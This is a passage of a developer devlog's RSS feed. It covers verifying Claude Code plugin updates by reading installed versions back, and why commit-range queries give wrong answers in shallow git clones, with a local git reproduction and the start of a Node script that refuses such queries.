&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; sync.mjs&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; apply&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;EXIT=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;$?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;| Plugin   | Was   | Now   | Outcome   | Note                                                   |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;|----------|-------|-------|-----------|--------------------------------------------------------|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;| linter   | 0.9.1 | 0.9.4 | updated   | -                                                      |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;| reporter | 1.2.0 | 1.2.0 | stalled   | update exited 0 but the version on disk is still 1.2.0 |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;| bundler  | -     | 3.0.1 | installed | -                                                      |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;! formatter is shadowed by overrides/formatter - that copy wins regardless of version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Nothing above is live until you restart.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;EXIT=1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;reporter&lt;/code&gt; is the row that matters. The manager said &lt;code&gt;✓ updated reporter&lt;/code&gt; and returned 0; the version on disk never moved, and the only reason you know is that something read it back. Without the read-back this run is three green checks and a wrong mental model of what your machine is running.&lt;/p&gt;
&lt;p&gt;To confirm the check is reading reality rather than replaying its own diff, edit &lt;code&gt;state/installed.json&lt;/code&gt; by hand, set &lt;code&gt;linter&lt;/code&gt; back to &lt;code&gt;0.9.1&lt;/code&gt;, and run &lt;code&gt;check&lt;/code&gt; again. The row returns to &lt;code&gt;update&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Diffing against the wrong list reports everything as clean.&lt;/strong&gt; Claude Code’s &lt;code&gt;claude plugin list --available --json&lt;/code&gt; looks like the obvious source for available versions. It lists only plugins that are &lt;em&gt;not&lt;/em&gt; installed, so every plugin you already have is absent from it, and a diff against it compares nothing and finds no drift. It is a source that is wrong in the direction of silence, which is the worst direction. Take available versions from the catalog at the source instead, which for Claude Code plugins means the &lt;a href=&quot;https://code.claude.com/docs/en/plugins&quot;&gt;&lt;code&gt;version&lt;/code&gt; field in &lt;code&gt;.claude-plugin/plugin.json&lt;/code&gt;&lt;/a&gt;. That field is also what decides whether users get an update at all: set it, and they only receive one when you bump it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;An unparsable list and an empty list must not render the same.&lt;/strong&gt; The first version treated any unexpected shape as “no plugins installed”, which produced a table telling you to reinstall every plugin you already had. &lt;code&gt;readInstalled&lt;/code&gt; throws on an unrecognised shape for exactly this reason. The real CLI has two legitimate output shapes, a bare array and an object with an &lt;code&gt;installed&lt;/code&gt; key, so the parser accepts both and rejects a third rather than guessing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A local override is invisible to every version number in the system.&lt;/strong&gt; A personal copy of a skill at &lt;code&gt;~/.claude/skills/&amp;lt;name&amp;gt;/SKILL.md&lt;/code&gt; wins over the plugin of the same name. The plugin updates cleanly, every version reads correct, and the stale copy is still the code that runs. There is nothing to compare, so it has to be a checked existence fact, which is why &lt;code&gt;findShadows&lt;/code&gt; is in the reader layer and not a note in the docs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A fixture-driven read plus a real write will damage the machine.&lt;/strong&gt; The tool takes a &lt;code&gt;--home&lt;/code&gt; flag so tests can point the readers at a fixture. &lt;code&gt;apply&lt;/code&gt; refuses that flag outright, because the reads would come from the fixture while every write still goes to the real install, which means issuing genuine install commands for plugins that only exist in the test. Reading from one machine and writing to another is not a mode worth supporting.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ending on the restart is part of the contract, not politeness.&lt;/strong&gt; On-disk and live are different states, and the gap between them is a whole session long. Every report this tool prints closes by naming the restart, because the moment it stops doing that, someone runs &lt;code&gt;/skillfactory&lt;/code&gt;, gets the old behavior, and concludes the sync did not work.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.npmjs.com/cli/v11/commands/npm-outdated&quot;&gt;npm-outdated&lt;/a&gt; — the Current/Wanted/Latest split, where Current means what is actually installed on disk&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.ansible.com/ansible/latest/reference_appendices/common_return_values.html&quot;&gt;Ansible common return values&lt;/a&gt; — &lt;code&gt;changed&lt;/code&gt; as a first-class boolean, reported separately from success&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.hashicorp.com/terraform/cli/commands/refresh&quot;&gt;Terraform refresh&lt;/a&gt; — reading current settings from real remote objects instead of trusting last-written state&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://code.claude.com/docs/en/plugins&quot;&gt;Claude Code plugins&lt;/a&gt; — the &lt;code&gt;.claude-plugin/plugin.json&lt;/code&gt; manifest and what its &lt;code&gt;version&lt;/code&gt; field controls&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;feat(pluginsync): refresh the installed marketplace, and prove the version moved (#155) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/948c2d3ff6a4833954558c4133d9b2e1bad71465&quot;&gt;948c2d3&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/pluginsync/v0.1.0.png" length="25102" type="image/png"/></item><item><title>Nothing unreleased, said the shallow clone</title><link>https://natejswenson.com/devlog/release/v0.1.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/release/v0.1.0/</guid><description>Every release flow rests on one question: what has landed since the last tag. In CI that question is usually asked of a clone that cannot answer it, and git answers anyway. Here is how to make the answer either right or refused.</description><pubDate>Sun, 02 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;First release of a skill that cuts a release for one named component and proves the tag exists by reading it back from the remote. Two fixes landed alongside it, and both are about the same failure: a release tool producing a confident number it had no way to know.&lt;/p&gt;
&lt;p&gt;One was a commit range computed in a shallow clone. The other was the release itself firing on a merge, which is not a decision anybody made.&lt;/p&gt;
&lt;h2&gt;The question underneath every release flow&lt;/h2&gt;
&lt;p&gt;“What is unreleased?” is what a bump, a changelog draft, and a suggested semver level are all derived from. The usual implementation is one line:&lt;/p&gt;
&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; log&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;last-ta&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;..HEAD&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Git’s own &lt;a href=&quot;https://git-scm.com/docs/gitrevisions&quot;&gt;revision documentation&lt;/a&gt; defines that notation precisely: you “ask for commits that are reachable from r2 excluding those that are reachable from r1.” The word carrying all the weight is &lt;strong&gt;reachable&lt;/strong&gt;. The exclusion is computed by walking ancestry, and a clone with grafted history does not have the ancestry to walk.&lt;/p&gt;
&lt;p&gt;It does not error. It walks what it has and returns a plausible list.&lt;/p&gt;
&lt;p&gt;This is a CI problem more than a laptop problem, because &lt;a href=&quot;https://github.com/actions/checkout&quot;&gt;actions/checkout&lt;/a&gt; documents &lt;code&gt;fetch-depth&lt;/code&gt; as “number of commits to fetch. 0 indicates all history for all branches and tags” with a default of &lt;code&gt;1&lt;/code&gt;. Every job that checks out normally and then asks a range question is asking it of a repository that cannot answer.&lt;/p&gt;
&lt;h2&gt;Reproduce the wrong answer with real git&lt;/h2&gt;
&lt;p&gt;This takes about ten seconds and is worth doing once, because the failure is quiet enough that reading about it does not stick.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;mkdir&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; demo/origin&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; demo/origin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; init&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -b&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; main&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; .&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; config&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; user.email&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; a@b.c&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; config&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; user.name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; T&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; 3&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; 4&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; 5&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.txt&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; add&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.txt&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; commit&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -m&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;feat: thing &lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;done&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; tag&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; mypkg-v0.1.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; 6&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; 7&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.txt&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; add&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.txt&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; commit&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -m&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;fix: thing &lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;done&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; ..&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; clone&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; file://&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$PWD&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/origin&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; full&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; clone&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --depth&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; file://&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$PWD&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/origin&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; shallow&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; shallow&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; fetch&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --tags&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; origin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two commits landed after the tag. Ask both clones:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;full    $(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C full    log --oneline mypkg-v0.1.0..HEAD &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; wc&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -l)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;shallow $(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C shallow log --oneline mypkg-v0.1.0..HEAD &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; wc&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -l)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;full           2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;shallow        1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No warning, no non-zero exit, one number quietly wrong. Which direction it is wrong in depends on where the graft point falls relative to the tag; in the incident that prompted this fix, a CI job saw one unreleased commit where a full clone saw zero, which failed a test asserting that a component with nothing to release is refused. A tool deriving a suggested version bump from that list is deriving it from fiction.&lt;/p&gt;
&lt;h2&gt;Refuse instead of guessing&lt;/h2&gt;
&lt;p&gt;The fix is not a better range query. There isn’t one. The fix is to detect that the question is unanswerable and say so, because every number downstream of the commit list inherits the error. Save this as &lt;code&gt;unreleased.mjs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env node&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/** What has landed since the last tag, or a refusal. Never a guess. */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { execFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:child_process&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; git&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (repo, args) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  execFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;git&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;-C&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, repo, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;args], { encoding: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;trim&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; unreleased&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(repo, tag) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // `tag..HEAD` means &quot;reachable from HEAD, excluding everything reachable&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // from tag&quot;. A shallow clone&apos;s history is grafted, so the exclusion is&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // computed over ancestry that is not all there -- and git answers anyway.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(repo, [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;rev-parse&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;--is-shallow-repository&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;true&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      error: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;shallow repository: commit ranges are not answerable here&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      fix: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;git fetch --unshallow --tags   (or actions/checkout with fetch-depth: 0)&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(repo, [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;tag&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;--list&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, tag])) {&lt;/span&gt;&lt;/span&gt;
